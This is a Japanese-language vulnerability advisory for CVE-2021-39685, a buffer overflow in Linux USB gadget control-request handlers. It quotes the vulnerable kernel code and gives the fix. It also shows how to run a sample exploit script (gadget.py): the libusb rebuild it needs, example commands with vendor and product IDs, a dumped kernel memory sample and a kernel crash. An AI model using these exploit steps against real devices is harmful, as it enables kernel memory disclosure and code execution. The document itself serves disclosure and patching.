
CVE-2021-39685 の説明と Linux USB Gadget オーバーフロー脆弱性のサンプルエクスプロイト
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
攻撃者は、rndis、hid、uac1、uac1_legacy、uac2 といった USB ガジェットの制御リクエストハンドラの実装を悪用することで、有効なバッファ境界を超えてカーネルメモリにアクセスできます。異常に大きな wLength を持つ悪意のある制御転送リクエストの処理では、この値がバッファサイズを超えないことの保証がありません。そのため、場合によっては最大 65k バイトのカーネルメモリを読み取り、または書き込み(特定のケースに依存)することが可能になります。
rndis、hid、uac1、uac1_legacy、uac2 などのガジェットにおける USB 制御転送ハンドラの一部の実行パスには、リクエスト長(wLength)の適切な処理が含まれていません。この値は、データ転送フェーズにおけるバッファオーバーフロー脆弱性を防ぐために、バッファサイズに制限されるべきです。
エンドポイント 0 で使用されるバッファは、composite.c 内で USB_COMP_EP0_BUFSIZ(4096)バイトのサイズで割り当てられます。そのため、wLength を USB_COMP_EP0_BUFSIZ より大きい値に設定すると、バッファオーバーフローが発生します。
例えば、f_uac1.c の場合、f_audio_setup 関数を実行すると、バッファ境界を超えて読み取りと書き込みの両方を行うことができます。f_audio_setup も、呼び出される関数(audio_set_endpoint_req、audio_get_endpoint_req、out_rq_cur、ac_rq_in)も、戻り値をバッファサイズより小さく制限していません。その結果、データ転送フェーズでは、攻撃者が制御する req->length = value = ctrl->wLength が使用されます。これにより、制御転送の方向に応じて、カーネルメモリの最大 65k バイトを読み取りまたは書き込みすることができます。
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
サンプルの読み出しエクスプロイトを実行すると、最大 65k のメモリをダンプできます。
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
一方、上書きエクスプロイトを実行すると、想定されたバッファ境界を超えて任意のデータを書き込むことができます。
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
同様に、rndis ガジェットの場合、rndis_setup 関数は、方向が out、タイプが class、レシピエントが interface、bRequest が USB_CDC_SEND_ENCAPSULATED_COMMAND に設定された制御転送リクエストを使用して、バッファ境界を超えて書き込むように悪用される可能性があります。
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
脆弱な実行パス:
影響を受ける USB デバイスガジェットクラス(rndis、hid、uac1、uac1_legacy、uac2)を実装したデバイスは、バッファオーバーフロー脆弱性の影響を受ける可能性があり、情報漏えい、サービス拒否、またはカーネルコンテキストでの任意のコード実行につながる可能性があります。
影響を受ける制御リクエストハンドラにおいて、転送フェーズのサイズを min(len, buffer_size) に制限し、バッファオーバーフローが発生しないようにします。
標準の 4096 バイトより大きい wLength を持つ制御転送リクエストを発行するには、ホスト側で MAX_CTRL_BUFFER_LENGTH を 0xffff に増やしたカスタムビルドの libusb を使用する必要があります。この値は、ビルド前に libusb/os/linux_usbfs.h で変更できます。
gadget.py スクリプトには pyusb が必要です。このパッケージは以下のように pip でインストールできます。
python3 -m pip install pyusb
ヘルプは -h または --help パラメータで表示できます。
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
呼び出し例:
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
カーネルを最新の安定版に更新してください。